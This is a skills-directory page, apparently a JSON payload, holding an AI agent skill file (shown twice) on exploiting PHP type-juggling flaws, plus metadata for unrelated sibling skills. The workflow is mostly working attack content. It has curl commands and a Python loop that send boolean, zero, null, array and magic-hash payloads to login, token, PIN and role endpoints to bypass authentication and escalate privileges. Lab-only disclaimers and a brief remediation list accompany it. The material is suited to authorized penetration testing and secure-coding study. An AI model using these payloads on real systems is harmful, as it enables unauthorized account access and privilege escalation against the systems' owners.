[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71AB872DS4NME9JSW4ANPG5":3,"skill-same:01M71AB872DS4NME9JSW4ANPG5":68},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":67},"01M71AB872DS4NME9JSW4ANPG5","cyber-exploiting-type-juggling-vulnerabilities",null,"Exploit PHP type juggling vulnerabilities caused by loose comparison operators to bypass authentication, circumvent hash verification, and manipulate application logic through type coercion attacks.","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills-labgated\u002Fcyber-exploiting-type-juggling-vulnerabilities\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"cyber exploiting type juggling vulnerabilities","type","vulnerabilities","exploiting type juggling vulnerabilities","web-application-security","type-coercion","magic-hash","attacks","loose-comparison","php-security","type-juggling","coercion","security","authentication-bypass","exploit","operators","subdomain","verification","cybersecurity","authentication","2026-11-10 10:12:30",false,"---\nname: cyber-exploiting-type-juggling-vulnerabilities\ndescription: \"Exploit PHP type juggling vulnerabilities caused by loose comparison operators to bypass authentication, circumvent hash verification, and manipulate application logic through type coercion attacks.\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: true\norigin_frontmatter: \"name: exploiting-type-juggling-vulnerabilities | description: Exploit PHP type juggling vulnerabilities caused by loose comparison |   operators to bypass authentication, circumvent hash verification, and manipulate |   application logic through type coercion attacks. | domain: cybersecurity | subdomain: web-application-security | tags: | - type-juggling | - php-security | - loose-comparison | - authentication-bypass | - magic-hash | - type-coercion | - web-security | version: '1.0' | author: ma\"\nhide: true\n---\n\n> AUTHORIZED-LAB ONLY. Offensive\u002Fdual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.\n\n# Exploiting Type Juggling Vulnerabilities\n\n## When to Use\n- When testing PHP web applications for authentication bypass vulnerabilities\n- During assessment of password comparison and hash verification logic\n- When testing applications using loose comparison (== instead of ===)\n- During code review of PHP applications handling JSON or deserialized input\n- When evaluating input validation that relies on type-dependent comparison\n\n## Prerequisites\n- Understanding of PHP type system and loose comparison behavior\n- Knowledge of magic hash values (0e prefix) and their scientific notation interpretation\n- Burp Suite for request manipulation and parameter type changing\n- PHP development environment for testing payloads locally\n- Collection of magic hash strings from PayloadsAllTheThings\n- Ability to send JSON or serialized data to control input types\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Type Juggling Candidates\n```bash\n# Look for PHP applications with:\n# - Login\u002Fauthentication forms\n# - Password comparison endpoints\n# - API endpoints accepting JSON input\n# - Token\u002Fhash verification\n# - Numeric comparison for access control\n\n# Check if application accepts JSON input (allows type control)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":\"test\"}'\n\n# If application normally uses form data, try JSON\n# Form: username=admin&password=test\n# JSON: {\"username\":\"admin\",\"password\":true}\n```\n\n### Step 2 — Exploit Loose Comparison Authentication Bypass\n```bash\n# PHP loose comparison: 0 == \"password\" returns TRUE\n# Send integer 0 as password via JSON\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":0}'\n\n# Send boolean true (TRUE == \"any_string\" in loose comparison)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":true}'\n\n# Send empty array (array bypasses strcmp)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":[]}'\n\n# Send null\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":null}'\n\n# PHP strcmp vulnerability: strcmp(array, string) returns NULL\n# NULL == 0 is TRUE in loose comparison\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=admin&password[]=anything\"\n```\n\n### Step 3 — Exploit Magic Hash Collisions\n```bash\n# PHP treats \"0e...\" strings as scientific notation (0 * 10^N = 0)\n# If hash starts with \"0e\" followed by only digits, it equals 0 in loose comparison\n\n# Magic MD5 hashes (all evaluate to 0 in loose comparison):\n# \"240610708\" -> md5: 0e462097431906509019562988736854\n# \"QNKCDZO\"  -> md5: 0e830400451993494058024219903391\n# \"aabg7XSs\" -> md5: 0e087386482136013740957780965295\n# \"aabC9RqS\" -> md5: 0e041022518165728065344349536299\n\n# If application compares md5(user_input) == stored_hash:\n# And stored_hash starts with \"0e\" and contains only digits after\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=admin&password=240610708\"\n\n# Magic SHA1 hashes:\n# \"aaroZmOk\" -> sha1: 0e66507019969427134894567494305185566735\n# \"aaK1STfY\" -> sha1: 0e76658526655756207688271159624026011393\n\n# Test with known magic hash values\nfor payload in \"240610708\" \"QNKCDZO\" \"aabg7XSs\" \"aabC9RqS\" \"0e1137126905\" \"0e215962017\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n    -d \"username=admin&password=$payload\" -o \u002Fdev\u002Fnull -w \"%{http_code}\"\n  echo\ndone\n```\n\n### Step 4 — Exploit Comparison in Access Control\n```bash\n# Numeric comparison bypass\n# If: if($user_id == $target_id) { \u002F\u002F allow access }\n# \"0\" == \"0e12345\" is TRUE (both evaluate to 0)\n\n# String to integer conversion\n# \"1abc\" == 1 is TRUE in PHP (string truncated to integer)\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fuser?id=1abc\"\n\n# Boolean comparison for role checking\n# if($role == true) grants access to any non-empty string\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faction \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"action\":\"delete\",\"role\":true}'\n\n# Null comparison for optional checks\n# if($token == null) might skip validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\":0}'\n```\n\n### Step 5 — Exploit via Deserialization Input\n```bash\n# PHP json_decode() preserves types\n# Attacker controls type via JSON: true, 0, null, []\n\n# Bypass token verification\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-token \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\":true}'\n\n# Bypass numeric PIN verification\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-pin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"pin\":true}'\n\n# Bypass with zero value\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheck-code \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"code\":0}'\n\n# PHP unserialize() type juggling\n# Craft serialized object with integer type instead of string\n# s:8:\"password\"; -> i:0; (string \"password\" to integer 0)\n```\n\n### Step 6 — Automated Type Juggling Testing\n```bash\n# Test all common type juggling payloads against each parameter\n# Using Burp Intruder with type juggling payload list\n\n# Payload list for JSON-based testing:\n# true\n# false\n# null\n# 0\n# 1\n# \"\"\n# []\n# \"0\"\n# \"0e99999\"\n# \"240610708\"\n\n# Python automation\npython3 -c \"\nimport requests\nimport json\n\nurl = 'http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin'\npayloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']\n\nfor p in payloads:\n    data = {'username': 'admin', 'password': p}\n    r = requests.post(url, json=data)\n    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')\n\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Loose Comparison (==) | PHP comparison that performs type coercion before comparing values |\n| Strict Comparison (===) | PHP comparison requiring both value and type to match |\n| Magic Hash | String whose hash starts with \"0e\" followed by digits, evaluating to 0 in loose comparison |\n| Type Coercion | Automatic conversion between types (string to int, null to 0) during comparison |\n| strcmp Bypass | Passing array to strcmp() returns NULL, which equals 0 in loose comparison |\n| JSON Type Control | Using JSON input to send specific types (boolean, integer, null) to PHP endpoints |\n| Scientific Notation | PHP interprets \"0eN\" strings as 0 in exponential notation during numeric comparison |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for changing parameter types in requests |\n| PHP interactive shell | Local testing of type juggling behavior |\n| PayloadsAllTheThings | Curated magic hash and type juggling payload lists |\n| phpggc | PHP generic gadget chains for deserialization exploitation |\n| Custom Python scripts | Automated type juggling payload testing |\n| PHPStan\u002FPsalm | Static analysis tools detecting loose comparisons in code |\n\n## Common Scenarios\n\n1. **Authentication Bypass via Boolean** — Send `\"password\": true` as JSON to bypass loose comparison password verification\n2. **Magic Hash Collision** — Use known magic hash input (\"240610708\") whose MD5 starts with \"0e\" to match against stored hashes\n3. **strcmp Array Bypass** — Send `password[]=anything` to make strcmp() return NULL, bypassing password comparison\n4. **PIN\u002FOTP Bypass** — Send integer 0 as verification code to match against \"0e...\" hash of the actual code\n5. **Role Escalation** — Send `\"role\": true` to match any non-empty role string in loose comparison access checks\n\n## Output Format\n\n```\n## Type Juggling Vulnerability Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Language**: PHP 8.1\n- **Framework**: Laravel\n\n### Findings\n| # | Endpoint | Parameter | Payload | Type | Impact |\n|---|----------|-----------|---------|------|--------|\n| 1 | POST \u002Flogin | password | true (boolean) | Loose comparison | Auth bypass |\n| 2 | POST \u002Flogin | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |\n| 3 | POST \u002Flogin | password[] | array | strcmp NULL return | Auth bypass |\n| 4 | POST \u002Fverify | code | 0 (integer) | Numeric comparison | OTP bypass |\n\n### PHP Comparison Table (Relevant)\n| Expression | Result | Reason |\n|-----------|--------|--------|\n| 0 == \"password\" | TRUE | String cast to 0 |\n| true == \"password\" | TRUE | Non-empty string is truthy |\n| \"0e123\" == \"0e456\" | TRUE | Both are scientific notation = 0 |\n| NULL == 0 | TRUE | NULL cast to 0 |\n\n### Remediation\n- Replace all == with === (strict comparison) in security-critical code\n- Use password_verify() for password comparison instead of direct comparison\n- Use hash_equals() for timing-safe hash comparison\n- Validate input types before comparison operations\n- Enable PHP strict_types declaration in all files\n```\n","> AUTHORIZED-LAB ONLY. Offensive\u002Fdual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.\n\n# Exploiting Type Juggling Vulnerabilities\n\n## When to Use\n- When testing PHP web applications for authentication bypass vulnerabilities\n- During assessment of password comparison and hash verification logic\n- When testing applications using loose comparison (== instead of ===)\n- During code review of PHP applications handling JSON or deserialized input\n- When evaluating input validation that relies on type-dependent comparison\n\n## Prerequisites\n- Understanding of PHP type system and loose comparison behavior\n- Knowledge of magic hash values (0e prefix) and their scientific notation interpretation\n- Burp Suite for request manipulation and parameter type changing\n- PHP development environment for testing payloads locally\n- Collection of magic hash strings from PayloadsAllTheThings\n- Ability to send JSON or serialized data to control input types\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Type Juggling Candidates\n```bash\n# Look for PHP applications with:\n# - Login\u002Fauthentication forms\n# - Password comparison endpoints\n# - API endpoints accepting JSON input\n# - Token\u002Fhash verification\n# - Numeric comparison for access control\n\n# Check if application accepts JSON input (allows type control)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":\"test\"}'\n\n# If application normally uses form data, try JSON\n# Form: username=admin&password=test\n# JSON: {\"username\":\"admin\",\"password\":true}\n```\n\n### Step 2 — Exploit Loose Comparison Authentication Bypass\n```bash\n# PHP loose comparison: 0 == \"password\" returns TRUE\n# Send integer 0 as password via JSON\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":0}'\n\n# Send boolean true (TRUE == \"any_string\" in loose comparison)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":true}'\n\n# Send empty array (array bypasses strcmp)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":[]}'\n\n# Send null\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":null}'\n\n# PHP strcmp vulnerability: strcmp(array, string) returns NULL\n# NULL == 0 is TRUE in loose comparison\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=admin&password[]=anything\"\n```\n\n### Step 3 — Exploit Magic Hash Collisions\n```bash\n# PHP treats \"0e...\" strings as scientific notation (0 * 10^N = 0)\n# If hash starts with \"0e\" followed by only digits, it equals 0 in loose comparison\n\n# Magic MD5 hashes (all evaluate to 0 in loose comparison):\n# \"240610708\" -> md5: 0e462097431906509019562988736854\n# \"QNKCDZO\"  -> md5: 0e830400451993494058024219903391\n# \"aabg7XSs\" -> md5: 0e087386482136013740957780965295\n# \"aabC9RqS\" -> md5: 0e041022518165728065344349536299\n\n# If application compares md5(user_input) == stored_hash:\n# And stored_hash starts with \"0e\" and contains only digits after\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=admin&password=240610708\"\n\n# Magic SHA1 hashes:\n# \"aaroZmOk\" -> sha1: 0e66507019969427134894567494305185566735\n# \"aaK1STfY\" -> sha1: 0e76658526655756207688271159624026011393\n\n# Test with known magic hash values\nfor payload in \"240610708\" \"QNKCDZO\" \"aabg7XSs\" \"aabC9RqS\" \"0e1137126905\" \"0e215962017\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n    -d \"username=admin&password=$payload\" -o \u002Fdev\u002Fnull -w \"%{http_code}\"\n  echo\ndone\n```\n\n### Step 4 — Exploit Comparison in Access Control\n```bash\n# Numeric comparison bypass\n# If: if($user_id == $target_id) { \u002F\u002F allow access }\n# \"0\" == \"0e12345\" is TRUE (both evaluate to 0)\n\n# String to integer conversion\n# \"1abc\" == 1 is TRUE in PHP (string truncated to integer)\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fuser?id=1abc\"\n\n# Boolean comparison for role checking\n# if($role == true) grants access to any non-empty string\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faction \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"action\":\"delete\",\"role\":true}'\n\n# Null comparison for optional checks\n# if($token == null) might skip validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\":0}'\n```\n\n### Step 5 — Exploit via Deserialization Input\n```bash\n# PHP json_decode() preserves types\n# Attacker controls type via JSON: true, 0, null, []\n\n# Bypass token verification\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-token \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\":true}'\n\n# Bypass numeric PIN verification\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-pin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"pin\":true}'\n\n# Bypass with zero value\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheck-code \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"code\":0}'\n\n# PHP unserialize() type juggling\n# Craft serialized object with integer type instead of string\n# s:8:\"password\"; -> i:0; (string \"password\" to integer 0)\n```\n\n### Step 6 — Automated Type Juggling Testing\n```bash\n# Test all common type juggling payloads against each parameter\n# Using Burp Intruder with type juggling payload list\n\n# Payload list for JSON-based testing:\n# true\n# false\n# null\n# 0\n# 1\n# \"\"\n# []\n# \"0\"\n# \"0e99999\"\n# \"240610708\"\n\n# Python automation\npython3 -c \"\nimport requests\nimport json\n\nurl = 'http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin'\npayloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']\n\nfor p in payloads:\n    data = {'username': 'admin', 'password': p}\n    r = requests.post(url, json=data)\n    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')\n\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Loose Comparison (==) | PHP comparison that performs type coercion before comparing values |\n| Strict Comparison (===) | PHP comparison requiring both value and type to match |\n| Magic Hash | String whose hash starts with \"0e\" followed by digits, evaluating to 0 in loose comparison |\n| Type Coercion | Automatic conversion between types (string to int, null to 0) during comparison |\n| strcmp Bypass | Passing array to strcmp() returns NULL, which equals 0 in loose comparison |\n| JSON Type Control | Using JSON input to send specific types (boolean, integer, null) to PHP endpoints |\n| Scientific Notation | PHP interprets \"0eN\" strings as 0 in exponential notation during numeric comparison |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for changing parameter types in requests |\n| PHP interactive shell | Local testing of type juggling behavior |\n| PayloadsAllTheThings | Curated magic hash and type juggling payload lists |\n| phpggc | PHP generic gadget chains for deserialization exploitation |\n| Custom Python scripts | Automated type juggling payload testing |\n| PHPStan\u002FPsalm | Static analysis tools detecting loose comparisons in code |\n\n## Common Scenarios\n\n1. **Authentication Bypass via Boolean** — Send `\"password\": true` as JSON to bypass loose comparison password verification\n2. **Magic Hash Collision** — Use known magic hash input (\"240610708\") whose MD5 starts with \"0e\" to match against stored hashes\n3. **strcmp Array Bypass** — Send `password[]=anything` to make strcmp() return NULL, bypassing password comparison\n4. **PIN\u002FOTP Bypass** — Send integer 0 as verification code to match against \"0e...\" hash of the actual code\n5. **Role Escalation** — Send `\"role\": true` to match any non-empty role string in loose comparison access checks\n\n## Output Format\n\n```\n## Type Juggling Vulnerability Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Language**: PHP 8.1\n- **Framework**: Laravel\n\n### Findings\n| # | Endpoint | Parameter | Payload | Type | Impact |\n|---|----------|-----------|---------|------|--------|\n| 1 | POST \u002Flogin | password | true (boolean) | Loose comparison | Auth bypass |\n| 2 | POST \u002Flogin | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |\n| 3 | POST \u002Flogin | password[] | array | strcmp NULL return | Auth bypass |\n| 4 | POST \u002Fverify | code | 0 (integer) | Numeric comparison | OTP bypass |\n\n### PHP Comparison Table (Relevant)\n| Expression | Result | Reason |\n|-----------|--------|--------|\n| 0 == \"password\" | TRUE | String cast to 0 |\n| true == \"password\" | TRUE | Non-empty string is truthy |\n| \"0e123\" == \"0e456\" | TRUE | Both are scientific notation = 0 |\n| NULL == 0 | TRUE | NULL cast to 0 |\n\n### Remediation\n- Replace all == with === (strict comparison) in security-critical code\n- Use password_verify() for password comparison instead of direct comparison\n- Use hash_equals() for timing-safe hash comparison\n- Validate input types before comparison operations\n- Enable PHP strict_types declaration in all files\n```\n",{"hide":44,"name":5,"source":45,"license":15,"description":7,"authorized_lab":44,"origin_frontmatter":46},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: exploiting-type-juggling-vulnerabilities | description: Exploit PHP type juggling vulnerabilities caused by loose comparison |   operators to bypass authentication, circumvent hash verification, and manipulate |   application logic through type coercion attacks. | domain: cybersecurity | subdomain: web-application-security | tags: | - type-juggling | - php-security | - loose-comparison | - authentication-bypass | - magic-hash | - type-coercion | - web-security | version: '1.0' | author: ma","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills-labgated\u002Fcyber-exploiting-type-juggling-vulnerabilities",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-14 03:05:17",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":44},[57,60,63],{"tool":58,"command":59},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-exploiting-type-juggling-vulnerabilities",{"tool":61,"command":62},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-exploiting-type-juggling-vulnerabilities",{"tool":64,"command":65},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-exploiting-type-juggling-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills-labgated\u002Fcyber-exploiting-type-juggling-vulnerabilities\u002FSKILL.md",[],[69,78,85,92,99,106],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":77},"01M73K12W8K0GSTB4ABKS8BD7H","executing-plans","Use when you have a written implementation plan to execute in a separate session with review checkpoints","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexecuting-plans\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":77},"01M73HC2NSXYYN54GBASVG2RDJ","using-git-worktrees","Use when starting feature work that needs isolation from current workspace or before executing implementation plans - ensures an isolated workspace exists via native tools or git worktree fallback","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fusing-git-worktrees\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":77},"01M73HC12557CB08VDEF1YTF3H","triage","Triage issues through a state machine driven by triage roles. Use when user wants to create an issue, triage issues, review incoming bugs or feature requests, prepare issues for an AFK agent, or manage issue workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftriage\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":77},"01M73HBXB8F8ED4KQXVXEWCV8B","trade-edge-audit","The EDGE LENS for trading peers — recalls EVERY factor\u002Findicator running from the live forecast ledger (no enumeration) and renders the whole pile through the edge arsenal off ONE call: multi-horizon scoring (the ladder) + deflated Sharpe (overfit) + Benjamini-Hochberg FDR (multiple-testing across the fleet) + spread-bounce + maker-fee falsification, then ranks only what survives ALL of it. Use when a peer must answer \"does ANY running factor have real, overfit-corrected, multiple-testing-corrected, fee-surviving edge, and at which horizon\" without hand-assembling 6 tools. The trade-engine analog of quantum-hypothesis-simulation.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftrade-edge-audit\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":77},"01M73HBT5ZRCA82SQJ781NWVNQ","trade-decision-sim","The DECISION LENS for trading peers — recalls the CURRENT signal snapshot per market from the live ledger and renders it through the sim arsenal off ONE call: quantum factor-circuit order-optimal sequencing + decision-sim CVaR-robust sizing, sized against the MEASURED per-factor edge (from the edge-audit), correlation-aware. Emits an actionable call per market {side, sizePct, confidence, sequence}. Flat\u002Fzero-size when there is no measured edge after cost — the honest default. Sibling of trade-edge-audit (the EDGE lens); the trade-engine analog of quantum-hypothesis-simulation for a live decision.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftrade-decision-sim\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":77},"01M73HBN2WTKGN790WYQD6GBM4","to-issues","Break a plan, spec, or PRD into independently-grabbable issues on the project issue tracker using tracer-bullet vertical slices. Use when user wants to convert a plan into issues, create implementation tickets, or break down work into issues.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fto-issues\u002FSKILL.md",[],[]]